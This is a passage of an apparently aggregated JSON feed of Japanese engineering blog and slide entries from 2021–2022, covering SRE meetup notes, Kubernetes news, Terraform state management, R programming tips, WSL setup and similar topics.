に時間を使いたい。本質的なことをすることが目的。Toilを削減することが目的ではない。技術選定として、まずマネージドで考える。チームとして何を大事にしているかを考える。自分たちの”サイズ”で技術選定をして価値あるエンジニアリングをする。個人的にはEKSとECSのまとめがわかりやすくてよかった。QAQ: セルフホステッドを選択する場合は?A: 監視するとき Prometheus使うときとかつらいのでFargateは起動が遅い スケールが遅い技術選定において、自分たちの「サイズ」っていう要素が存在するというのは暗黙的なものになりがちなので、ちゃんと具体的に捉えておくの大事な気がした。 #jawsug_sre— Tomoya Kitaura (@kitta0108) 2022年2月25日 先程はパッと答えられませんでしたが、弊社の場合はMicroServiceを運用する際にはIstioを利用するケースが非常に多く、現状では対応していないため、EKSの場合はSelf Hostedを利用するケースが多いですー#jawsug_sre— TakuyaTezuka@3-shake (@tt0603) 2022年2月25日 パネルディスカッションMFのSREの組織のやり方で工夫してるところもともと中央集権的だった、開発に権限移譲していった権限を渡していっていながらそれ以上にプロダクトが開発が増えてしまったので負荷が増えてしまったenabling SREを広げる役割もつくるSREというポジションじゃなくてもSRE的な動きができるように組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' Blog技術支援からSREの組織変数がいくつか システムの規模 性質 組織規模、レベル感などpure sreではじめて権限移譲していく自分たちのサイズに合わせて組織を作っていく開発とSREのベストの距離感タイミングによって違う固定されたものじゃない構成をいかにシンプルにできるかが大事SREが開発に使いやすいサービスを提供するSREのAPIを提供するので好きに使って的な横断組織SREと開発チーム内SREというパターンもあるお互いのコミュニケーションは大事採用する際に求めるスキルセットやレベル感なんでもかんでも能力を持ってる人はいない。特定の領域に得意を持ってるといい、最低限のレベル感はほしいコミュニケーション 大事 ソフトスキルの担保が大事会社のバリューにあってるかSREワークブックの最後の方求められるスキル書いてあるすべてのインフラコードはIaCに寄せたい、チームにはソフトウェアスキル、インフラスキルそれぞれ持つメンバーがほしい変更時のトラブルシューティングはできるべきコードレビューできるスキルを持っていてほしいコーディングあるていどできる人組織による開発をSREに興味をもってもらうはどうしたらいいのだろうかSLOを決めて共通言語で話す留学すると面白いかもお互いがどういう観点で仕事してるかがわかってよいどこまで開発に移譲するかエラーバジェット、SLO、SLIは必要SREが設定するSLOより開発者が設定するSLOの方がいい開発者にとってうまいところを教えるアプローチ開発者にとってもバグが出ないことによって、気持ちよく開発できるよ!開発者の観点じゃなくてビジネス観点でSLO設定するんじゃないのかなって思う。。。?あと、留学いいなあと思った。開発チームに留学したい。SREチームが存在しない。どんなフェーズになったらSREチームを作ったほうがいいというしきい値あります?開発者が開発以外に手を取られて開発スピードが落ちてるのが目に見えたら兼務の限界値がある。得意なことにバリューを出せるようにしたい開発しながらAWSの新機能をキャッチアップするのはたいへんdevとopsのバランスが崩れているとき SREのプラクティスをいれるといいのかもエラーバジェットが判断軸になるかもどれくらいのチームが困ってるかが判断軸になるToil撲滅の意味で費用対効果高かったLambdaランキング今Lambdaを殆ど使ってないchatbotが出たのでLambdaの役割を終えたEKS上にアプリケーションを作ってしまうことが多い必要悪としてのLambda コードを書くのは最終手段。書いた瞬間に負債になる時刻でEC2終了するLambdaオートスケーリングでいいのでは?terrafromでLambda扱いにくい問題SREとしてセキュリティに対しての役割サービスInspectorECRのイメージスキャンCI/CD成立してからじゃないとイメージスキャンできないGuardDutySSOIAM Userを撲滅できたただ個別要件に対応しにくいSREが見てるケースが多いコーポレートセキュリティは範疇じゃないが、アプリケーションセキュリティは範疇5,6人目にセキュリティが強い人がほしい着想の段階からセキュリティの観点をいれておきたいモニタリングロギングの観点で使用してるAWSのサービスAMPEKS使ってるのでコスパが良かったCloudWatch log通知考えるとLambda使わないとAthenaわずらわしい検索しにくいLokiとかに寄せたいログをどこにおくS3Lokiってこれかな?Grafana Loki | Grafana Labs雑感他の会社のSREの話を今まであまり聞くことがなかったので、気づきを得る部分が多かった。SREのミッション・ビジョン・バリューはちょっと考えてみたいなと思った。オンライン開催の形式はYouTube Liveがいいなあって思った。聞き逃しても巻き戻して聞き返せるのがすごい体験として良い。","link":"https://blog.masasuzu.net/entry/2022/02/26/012602","isoDate":"2022-02-25T16:26:02.000Z","dateMiliSeconds":1645806362000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"[2022/02/25] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年02月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL: 配信中止して記事だけ放流したので配信URLはありません 告知とかニュースっぽいもの NetApp Insight Japan 2022で講演しましたセッション動...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220225","isoDate":"2022-02-25T13:31:31.000Z","dateMiliSeconds":1645795891000,"authorName":"bells17","authorId":"bells17"},{"title":"[EN]Trident Deep Dive","contentSnippet":"NetApp INSIGHT Japan 2022\\rhttps://insight.netapp.com/ja/\\r\\rvideo: http://netapp.tv/details/28744\\r\\rJapanese ver: https://speakerdeck.com/bells17/trident-deep-dive","link":"https://speakerdeck.com/bells17/en-trident-deep-dive","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"bells17","authorId":"bells17"},{"title":"Trident Deep Dive","contentSnippet":"NetApp INSIGHT Japan 2022�( https://insight.netapp.com/ja/ )のセッション資料です。\\r\\rセッション動画: http://netapp.tv/details/28744\\r\\rセッションリスト\\rhttps://insight.netapp.com/INSIGHTJapanSession.pdf","link":"https://speakerdeck.com/bells17/trident-deep-dive","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"bells17","authorId":"bells17"},{"title":"Mastering the Lightning Network 第1章を読む補足資料","contentSnippet":"https://cryptocurrency.connpass.com/event/239005/\\rMastering the Lightning Network 第1章の補足資料です","link":"https://speakerdeck.com/shukob/mastering-the-lightning-network-di-1zhang-wodu-mubu-zu-zi-liao","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"`list.files`関数で拡張子を指定したファイルを一覧するなら、`pattern = \\"\\\\\\\\.csv$\\"`みたいにすること","contentSnippet":"list.files(pattern = \\".csv\\")みたいなのを見かけるけど、うっかりanalyze-csv.Rみたいなファイルにもマッチするよ。厳密にはlist.files(pattern = \\"\\\\\\\\.csv$\\")としよう。ファイル操作にはfsパッケージも便利。","link":"https://blog.atusy.net/2022/02/25/list-files-pattern/","isoDate":"2022-02-25T00:00:00.000Z","dateMiliSeconds":1645747200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Osaka.R Slackの朝もくチャンネルにツィートボタンを設置","contentSnippet":"Slackではチャンネル上部に関連ページへのリンクを設置できます。メッセージと関連ページのリンクをピン留めするこの機能を使って以下のように、TweetボタンをOsaka.R Slackの朝もくチャンネルに設置しました。","link":"https://blog.atusy.net/2022/02/24/osakar-tweet-button/","isoDate":"2022-02-24T00:00:00.000Z","dateMiliSeconds":1645660800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Neovimのconfigファイルをinit.lua化したので覚書","contentSnippet":"Neovim 0.5からはconfigファイルにinit.luaとしてLuaスクリプトでの記述を推奨しているそうです。そこでVim/Nvim初心者が移行作業にあたって、どうやって情報を収集したか、途中で得た知見、やり残したことをまとめておきます。","link":"https://blog.atusy.net/2022/02/21/nvim-init-lua/","isoDate":"2022-02-21T00:00:00.000Z","dateMiliSeconds":1645401600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Future Tech Night #20 Terraform State縛りの勉強会 #future_tech_night","contentSnippet":"future.connpass.com久しぶりにちゃんと勉強会の感想ブログ書きます。① State の分割戦略 〜ModulesとWorkspacesを利用して〜StateはTerraform上での管理を分ける意味では非常に重要な要素であり、適切に分けることで不慮の事故や予期せぬ変更からクラウドリソースを守ることができます。このセッションでは演者が実際にTerraformを利用して感じたことを交えながら、適切なStateの分割戦略とは?について話します。Stateの分割についてModuleによるアプローチとWorkspacesによるアプローチ、そしてそのあわせ技についての説明がありました。Workspacesは使ったことないのであまり知見がなかったので、いろいろ参考になる部分がありました。今のterraform運用だと環境ごとにディレクトリを切ってstateを分割してます。で、環境ごとの差異としてパラメータだけでなく、作るリソース作らないリソースが若干まちまちなので、そのままだとWorkspacesは向かないなと感じました。絶対に作るリソース、RDSやVPCなどは分割した上でWorkspacesで管理するのはありなのかなとは思いました。ただ、同じシステムで、環境毎のディレクトリとリソース毎のディレクトリが混在するのはわかりにくくならないかなという懸念はあります。悩ましいですねあと、ブランチ戦略も難しいですね。現状はmasterでprdをapplyするように、stagingでそれ以外の環境をapplyするようになってますが、全部masterでやるようにしても良いのではと思ったりもしてる今日このごろです。② クラウドリソース自体をdestroy/createdせずに、Terraformリソース定義の記述場所を変更する方法クラウドサービス上で稼働するリソースには一切手を付けずに、Terraformの定義記載場所だけを変更する方法を話します。Terraformを利用していると「このディレクトリ配置じゃダメだ。配置変えしたいのだけれど、リソースの再作成はできない。次にインフラ設計するときは、〇〇に注意しよう」という運用ナレッジが貯まると思います。スタート時点で完璧なTerraformディレクトリ設計ができれば御の字ですが、それが不可能なことは、この分野でベストプラクティスが確立されていないことにより証明されています。本パートでは「Terraformのディレクトリ配置には定石がないのだから、運用状況に合わせて柔軟に配置換えすべき」という観点から、「動作中リソースに影響なく、Terraform定義箇所を移植する方法」について話します。20220217_FutureTechNight_#20_TerraformState縛りの勉強会.pptx - Google スライドこんなふうに別のtfstateファイルにリソースをmvすることによって、Stateにリソースを移動できる手法を説明してました。terraform state mv -state-out=${moved_resource.tfstate} ${moved_resource}terraform state pull > ${to.tfstate}terraofm state mv -state=${moved_resource.tfstate} -state-out=${to.tfstate}terraform state push ${to.tfstate}State間でのリソース移動に関しては、terraform state rmとterraform importのあわせ技しか知らなかったので、新しい知見を得ました。まだ試せてないないんですが、State内での移動であれば、moved block使うのもありなのかなと思いました。ちなみリソースが消えた場合にもmove blockって使えるんですかね?なかなか他の会社のterraform運用の話を聞く機会があまりなかったので、楽しかったですね。最近勉強会出てもメモすら残さないことが多くて、せっかく参加したのにあまり有意義に時間を使えていなかったので、薄くてもいいので今後ちゃんと感想、意見を書き残していきたいと思いました。","link":"https://blog.masasuzu.net/entry/2022/02/17/210848","isoDate":"2022-02-17T12:08:48.000Z","dateMiliSeconds":1645099728000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Metrics Server","contentSnippet":"Kubernetes Novice Tokyo #16(https://k8s-novice-jp.connpass.com/event/236328/)で発表したセッション資料です。","link":"https://speakerdeck.com/bells17/metrics-server","isoDate":"2022-02-15T05:00:00.000Z","dateMiliSeconds":1644901200000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubelet APIをcurlで叩く","link":"https://bells17.medium.com/curl-to-kubelet-api-f73cb17888b7?source=rss-713cf42ce34d------2","isoDate":"2022-02-10T16:10:23.000Z","dateMiliSeconds":1644509423000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/10] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年02月10日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/adlS59o984M 告知とかニュースっぽいもの k8sを便利にするらしいTanzu Application Platform...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220210","isoDate":"2022-02-10T12:56:14.000Z","dateMiliSeconds":1644497774000,"authorName":"bells17","authorId":"bells17"},{"title":"minidown 0.4.0をCRANにリリースしました","contentSnippet":"minidownパッケージはR Markdownにおけるhtml_documentをもっとイイ感じにしたものです。作った理由や凄いところはTokyo.R 95の発表資料にまとめてます。","link":"https://blog.atusy.net/2022/02/09/minidown-0-4-0/","isoDate":"2022-02-09T00:00:00.000Z","dateMiliSeconds":1644364800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"cronRパッケージで環境変数を指定する機能を追加するPRをした","contentSnippet":"登山本で紹介したパッケージの機能不足コメントを頂いたのが嬉し過ぎて、 パッケージに機能追加を提案してきました。","link":"https://blog.atusy.net/2022/01/21/support-envvar-in-cronr/","isoDate":"2022-01-21T00:00:00.000Z","dateMiliSeconds":1642723200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"書籍「Rが生産性を高める」のサポートサイトを公開しました","contentSnippet":"igjitさん、hanaoriさんと共に「Rが生産性を高める〜データ分析ワークフロー効率化の実践〜」を共著しました。公式サイト:https://gihyo.jp/book/2022/978-4-297-12524-0サポートサイト: https://github.com/ghmagazine/r_efficiency_book電子版の発売は1/21、紙版の発売は1/26となっています。早くみなさんの元にお届けしたいですね。","link":"https://blog.atusy.net/2022/01/20/r-efficiency-book-support-site/","isoDate":"2022-01-20T00:00:00.000Z","dateMiliSeconds":1642636800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"grepとユカイな仲間たち","contentSnippet":"help(grep)にあるgregexprとかを理解したい。","link":"https://blog.atusy.net/2022/01/18/grep-and-friends/","isoDate":"2022-01-18T00:00:00.000Z","dateMiliSeconds":1642464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"StanでFused LASSOしてみたかった","contentSnippet":"テストデータgenlassoパッケージによる実装正則化項による実装状態空間モデルで実装コメントStanでLASSOを実装すると、罰則化項Lambdaも同時に最適化できる。そりゃいいなと思ったのでFused LASSOも実装してみたくなった。","link":"https://blog.atusy.net/2022/01/12/stan-fused-lasso/","isoDate":"2022-01-12T00:00:00.000Z","dateMiliSeconds":1641945600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Stanを使ったBayesian Lassoの実装に関するメモ","contentSnippet":"LASSOは確率モデルだと係数の事前分布にラプラス分布を指定したものに相当するって話はちょいちょい聞くけど、実際の証明とか実装はどうなってるんだろうなーと思ったので、いくつかのサイトを渡り歩いてみた。","link":"https://blog.atusy.net/2022/01/09/bayesian-lasso/","isoDate":"2022-01-09T00:00:00.000Z","dateMiliSeconds":1641686400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"WSL2でDNSは8.8.8.8を見つつX Serverを利用する","contentSnippet":"概要VPNを利用するのでDNSサーバーを8.8.8.8に固定したいしかし、X Serverを使うので環境変数DISPLAYにWindowsが解決するホスト名を使用しているexport DISPLAY=\\"$(hostname).mshome.net:0.0\\"DISPLAYにホスト名ではなくIPアドレスを設定しDNSサーバーを固定する DNSサーバーを固定 /etc/wsl.confを作成/etc/wsl.conf[network]generateResolvConf = false /etc/resolv.confを削除$ sudo unli...","link":"https://zenn.dev/tayusa/articles/8a76c02772d0a5","isoDate":"2021-12-28T00:57:59.000Z","dateMiliSeconds":1640653079000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"RでPython風docstringを実装してみる","contentSnippet":"関数魔改造講座body編と言えるかもしれない……。黒魔術の世界へようこそ。","link":"https://blog.atusy.net/2021/12/20/r-docstring/","isoDate":"2021-12-20T00:00:00.000Z","dateMiliSeconds":1639958400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Accurateの内部実装","link":"https://bells17.medium.com/accurate-internal-70915fe716ca?source=rss-713cf42ce34d------2","isoDate":"2021-12-15T18:56:05.000Z","dateMiliSeconds":1639594565000,"authorName":"bells17","authorId":"bells17"},{"title":"Nuxt.jsを「正しく」終了する","contentSnippet":"はじめにこの記事はNuxt.js Advent Calendar2021の12日目の記事です。11日目は@Skmt3PさんのNuxtのコンポーネントをWeb Componentとして利用するでした。(web component触ってきてないからへぇって気持ちで読まさせていただきました) 概要hooks自体を調べていたときにcloseという項目がありました。そして、説明にはNuxt インスタンスが正しく終了したときというのがありました。「正しく」とは一体…となって原文を見てみるとNuxt instance is gracefully closing.というこ...","link":"https://zenn.dev/satohjohn/articles/fd876409209ed1","isoDate":"2021-12-11T15:35:11.000Z","dateMiliSeconds":1639236911000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Self containedなHTMLドキュメント生成時にiframeしたいなら`knitr::include_url`関数を使おう","contentSnippet":"R Markdownのhtml_documentなどでHTMLドキュメントを作成すると、デフォルトではグラフなどの画像もHTML内に埋め込んでくれます。","link":"https://blog.atusy.net/2021/12/06/rmarkdown-iframe/","isoDate":"2021-12-06T00:00:00.000Z","dateMiliSeconds":1638748800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Japan.RでTidy Tuesdayの企画した","contentSnippet":"みんなEnjoyしてくれて成功。私はTidy Tuesdayの企画と、コミュニティ運営に関するパネルディスカッションのパネラーをしました。","link":"https://blog.atusy.net/2021/12/05/japanr2021/","isoDate":"2021-12-05T00:00:00.000Z","dateMiliSeconds":1638662400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Daprつかってみた(Web APIのイメージでローカルストレージとGCSを同じように扱ってみる)","contentSnippet":"この記事は Web API Advent Calendar 2021 の5日目の記事になりますちなみに4日目は@sys_zeroさんのPower Automate for desktopの変数に関するTips「JSONにnull値がある場合の選択的置換」でした今回は、当日まで全く内容について考えられてなかったのですが、ふっと、頭にわいた、個人的に気になっているDaprについて調べて、ローカルストレージとGoogle Cloud Storage(以下GCS)を扱ってみます なんで今回Dapr?Daprを使うメリットの1つとして、他のサービスにつなぐ方法をHTTPまたはgRPCに...","link":"https://zenn.dev/satohjohn/articles/96873574f07534","isoDate":"2021-12-04T15:01:17.000Z","dateMiliSeconds":1638630077000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Tokyo.R 95でminidownパッケージを紹介でLTしてきました","contentSnippet":"LT時間切れで消化不良だったのに☆15もつけてくれてありがとう。","link":"https://blog.atusy.net/2021/10/31/tokyor95/","isoDate":"2021-10-31T00:00:00.000Z","dateMiliSeconds":1635638400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"LinuxでIntel製CPU内蔵のGPUを使うと動画再生時に画面がちらつく問題の対策","contentSnippet":"この1、2ヶ月ほどmanjaroで動画を再生する時、画面がちらつくようになったのが気になっていました。ググったところ、Intel製GPUの場合はちらつき防止のオプションがあるので有効化するといいみたいですね。","link":"https://blog.atusy.net/2021/10/24/linux-tearing-intel-gpu/","isoDate":"2021-10-24T00:00:00.000Z","dateMiliSeconds":1635033600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GKE CNI Deep Dive (2021)","contentSnippet":"GKE (Google Kubernetes Engine) のネットワーク周りの実装はユーザーの見えないところで変化を続けています。以前は、公式ドキュメントにあるように bridge interf…","link":"https://qiita.com/toVersus/items/4ff2525d562d8de4d530","isoDate":"2021-10-23T08:20:56.000Z","dateMiliSeconds":1634977256000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"\uD83D\uDD0D 可観測性に入門しよう","contentSnippet":"社内LTにて、可観測性を布教しようと試みましたʕ◔ϖ◔ʔ\\r\\r関連テーマ(SREに入門しよう):\\rhttps://speakerdeck.com/hiroki_hasegawa/sreniru-men-siyou","link":"https://speakerdeck.com/hiroki_hasegawa/ke-guan-ce-xing-niru-men-siyou","isoDate":"2021-10-22T04:00:00.000Z","dateMiliSeconds":1634875200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"WSLでGitHubのPersonal access token認証","contentSnippet":"参考https://github.com/microsoft/Git-Credential-Manager-Core#windows-subsystem-for-linux-wsl GitCredentialManagerとGitをインストールPowerShellにて> winget install --id Microtsoft.GitCredentialManagerCore> winget install --id Git.Gitwingetがなければ https://github.com/microsoft/winget-cli#installing...","link":"https://zenn.dev/tayusa/articles/f81e6551642867","isoDate":"2021-09-30T16:01:55.000Z","dateMiliSeconds":1633017715000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"PandocでPDFを作成する時に表の枠線を格子状にする","contentSnippet":"LuaフィルタからJSONフィルタを呼んで更にPandocを呼びます。辛い。 プリアンブルも必要。 R Markdownユーザーは素直にパッケージを使いましょう。","link":"https://blog.atusy.net/2021/09/22/pandoc-partial-conversion-by-filter/","isoDate":"2021-09-22T00:00:00.000Z","dateMiliSeconds":1632268800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ブランチをディレクトリに割り当つつGit管理対象外ファイルも同期するgit worksyncを作った","contentSnippet":"ブランチごとに別ディレクトリで簡単に作業できるgit worksyncコマンドを作りました。.gitignoreに入っているファイルや、git addしていないファイルも良い感じに同期できます。.venvとかdataとかGitで管理したくないけど、なくてはならないディレクトリをいつもあなたの傍に。","link":"https://blog.atusy.net/2021/09/15/git-worksync-1-0-0/","isoDate":"2021-09-15T00:00:00.000Z","dateMiliSeconds":1631664000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Vuexの型定義でモジュールでの型解決してくれるようにしてみた","contentSnippet":"前提Nuxt.jsでVuexを使っているのでそのときにhttps://github.com/ktsn/vuex-type-helper以下を利用させてもらっていましたただ、モジュールのstore場合利用時にtypeがうまくはまらないから、どうするんだろうとか色々見てたのですがあんまりいい手段が見つからなく、自分で型定義でテンプレートリテラル部分書いたらどうなんだろうとおもってやってみました。正直もっと良い手段があると思いますが、今回は自分の勉強踏まえの備忘録。そして、多分Vue3対応とかが入ったらちゃんと動いていくんだと思うので、後で書き換えればいいし、現状型の問題だけな...","link":"https://zenn.dev/satohjohn/articles/b064cf966a9e20","isoDate":"2021-09-11T04:37:38.000Z","dateMiliSeconds":1631335058000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Google ColabでRパッケージの再インストールを爆速にする","contentSnippet":"Google Driveを活用してtidymodelsパッケージの再インストールを5分から1秒に短縮した。","link":"https://blog.atusy.net/2021/08/30/quickly-install-r-packages-on-colab/","isoDate":"2021-08-30T00:00:00.000Z","dateMiliSeconds":1630281600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"FirebaseのCliでの操作で401系エラーが出るときの解決法","contentSnippet":"考えられる原因は以下ですログインできていない本当に権限がないcliに保存されているクレデンシャルが古い 前提環境としてはfirebase-tools 9.16.5です ログインできていないコレはわかりやすいです。以下コマンドでログインしてくださいfirebase loginちなみに、すでにログインしている場合は、ログインしているアカウントが表示されます(コレはまりポイント 本当に権限がないGCPのIAMの権限を確認してください。個人で直接Firebaseプロジェクトを作っている場合はあまり関係がないかもしれません。 cliに保存されているクレデンシャ...","link":"https://zenn.dev/satohjohn/articles/d409819196c6b8","isoDate":"2021-08-17T05:54:30.000Z","dateMiliSeconds":1629179670000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Rの乱数生成関数は一発で色んなパラメータの分布を作れるよ","contentSnippet":"あまり知られていない事実かもしれませんが、Rで乱数を発生させる関数のパラメータはベクトル化されています。つまり、正規分布から3000個の乱数を作る時、1000個ごとに期待値を0、1、2と変えるようなことが簡単にできます。覚えておくとシミュレーションで乱数が必要な時に、関数呼び出しを一度に纏められて便利&高速です。","link":"https://blog.atusy.net/2021/08/13/vectorize-rng/","isoDate":"2021-08-13T00:00:00.000Z","dateMiliSeconds":1628812800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ストレングスファインダーのコーチングを受けてみた","link":"https://bells17.medium.com/strengthsfinder-2140afddf46f?source=rss-713cf42ce34d------2","isoDate":"2021-08-11T13:27:04.000Z","dateMiliSeconds":1628688424000,"authorName":"bells17","authorId":"bells17"},{"title":"書評「機械学習を解釈する技術」","contentSnippet":"どんな人におすすめか購入を迷う場合感想頭から順に読みたい本付録が充実冒頭の解説がイカス森下光之助(@dropout009)著「機械学習を解釈する技術」を献本頂きました。8月4日から8日までの間に、暇を見つけては開いて読了。せっかくなので全体的な感想をまとめておきたいと思います。読む最中の感想はTwitterのスレッドに綴りました。本稿では蛇足になると判断して省略する部分も多いので、気になる人は覗いてください。","link":"https://blog.atusy.net/2021/08/09/techniques-to-interpret-ml-models/","isoDate":"2021-08-09T00:00:00.000Z","dateMiliSeconds":1628467200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83C\uDFD7️ ドメイン駆動設計と依存性逆転の原則","contentSnippet":"社内LTにて、ドメイン駆動設計と依存性逆転の原則を布教しましたʕ◔ϖ◔ʔ\\r\\rはてなブックマークのコメントもどうぞ!\\r\\rなお、ドメイン駆動設計を理解するためには、依存についても知る必要があります。\\r\\r是非、依存関係と依存オブジェクト注入もご参照ください\uD83D\uDC4D\uD83C\uDFFB","link":"https://speakerdeck.com/hiroki_hasegawa/domeinqu-dong-she-ji-toyi-cun-xing-ni-zhuan-falseyuan-ze","isoDate":"2021-08-06T04:00:00.000Z","dateMiliSeconds":1628222400000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"オープンソースが法定通貨になる!ビットコイン・ライトニングネットワーク入門","contentSnippet":"オープンソースカンファレンス2021 Kyotoでの発表です。\\rhttps://event.ospn.jp/osc2021-online-kyoto/session/376855\\r2021年6月、中南米の国エルサルバドルで仮想通貨ビットコインが法定通貨として定められました。ビットコインはオープンソースで稼働しています。ビットコインの少額決済のための応用技術ライトニングネットワークもエルサルバドルでは既に実用化しており、ライトニングネットワークを中心にビットコイン技術を説明させていただきました。","link":"https://speakerdeck.com/shukob/opunsosugafa-ding-tong-huo-ninaru-bitutokoinraitoningunetutowakuru-men","isoDate":"2021-07-31T04:00:00.000Z","dateMiliSeconds":1627704000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Kube API Serverの内部実装を解説する技術同人誌を技術書典11で出しました!","link":"https://bells17.medium.com/wrote-the-kube-api-server-book-2155129db374?source=rss-713cf42ce34d------2","isoDate":"2021-07-19T09:16:43.000Z","dateMiliSeconds":1626686203000,"authorName":"bells17","authorId":"bells17"},{"title":"シェルでエイリアスを無視してコマンドを見つける","contentSnippet":"CMD=\\"foo\\"echo \\"$( unalias $CMD &> /dev/null command -v $CMD)\\"でいい。詳細POSIXにはcommandコマンドがあり、引数をコマンドとして実行してくれます。command git config --get user.name#> atusyaliasを無視してくれる点が魅力ですね。","link":"https://blog.atusy.net/2021/07/14/shell-find-command/","isoDate":"2021-07-14T00:00:00.000Z","dateMiliSeconds":1626220800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについて","contentSnippet":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについてTable of ContentsOracleインストール中にでたSysctl系エラーであたったkernel parameterについてMotivationそもそもsysctlとは何なのか?Oracleセットアップ中に遭遇したkernel parameterssemopm変更方法セマフォ(semaphore)とは?SEMSMLSEMMNSSEMOPMSEMMNIfile-max変更方法rem_default/rem_max/...","link":"https://zenn.dev/nnaka2992/articles/1fa7fb5d03f958","isoDate":"2021-07-11T08:41:03.000Z","dateMiliSeconds":1625992863000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitHub CLI(`gh`)に曖昧検索の力を加えるghfコマンドを作ってzshプラグイン化した","contentSnippet":"端末上でレポジトリやissueを曖昧検索して内容をプレビューし、確定したらブラウザで開くなどの操作ができるghfコマンドを作りました。詳しい利用方法やインストール方法は→https://github.com/atusy/gh-fzf。zshプラグイン化しているのでzinitなどのユーザーは導入しやすいと思います。","link":"https://blog.atusy.net/2021/07/10/publish-gh-fzf/","isoDate":"2021-07-10T00:00:00.000Z","dateMiliSeconds":1625875200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tidymodelsのrecipesパッケージがworkflowsパッケージの使用を推奨し始めた","contentSnippet":"tidymodelsを使ったモデリングにおいて、recipesパッケージは特徴量エンジニアリングを担います。従来、recipesパッケージは単体で、特徴量抽エンジニアリング方法の","link":"https://blog.atusy.net/2021/07/01/tidymodels/","isoDate":"2021-07-01T00:00:00.000Z","dateMiliSeconds":1625097600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocでは--include-in-header引数とheader-includes変数は共存できない","contentSnippet":"ちょっとハマった。Pandocでマークダウンファイルを変換する場合、YAMLフロントマターの設定と引数を用いた設定では、引数が優先権を持つ。で、HTMLファイルのhead要素内に記述を追加する場合は","link":"https://blog.atusy.net/2021/06/30/pandoc-header-includes/","isoDate":"2021-06-30T00:00:00.000Z","dateMiliSeconds":1625011200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83E\uDD1D\uD83C\uDFFB 依存関係と依存オブジェクト注入","contentSnippet":"社内LTにて、依存関係と依存オブジェクト注入を布教しようと試みましたʕ◔ϖ◔ʔ\\r\\r関連テーマ(ドメイン駆動設計と依存性逆転の原則):\\rhttps://speakerdeck.com/hiroki_hasegawa/domeinqu-dong-she-ji-toyi-cun-xing-ni-zhuan-falseyuan-ze","link":"https://speakerdeck.com/hiroki_hasegawa/yi-cun-guan-xi-toyi-cun-obuziekutozhu-ru","isoDate":"2021-06-25T04:00:00.000Z","dateMiliSeconds":1624593600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Tidymodelsでデータの前処理内容を**tidy**に確認する(公式手順)","contentSnippet":"昨日の投稿で、tidymodelsのrecipesパッケージによる特徴量エンジニアリングを行った歳に、中心化につかった平均値はいくつかPCAの固有ベクトルはなにかをnot 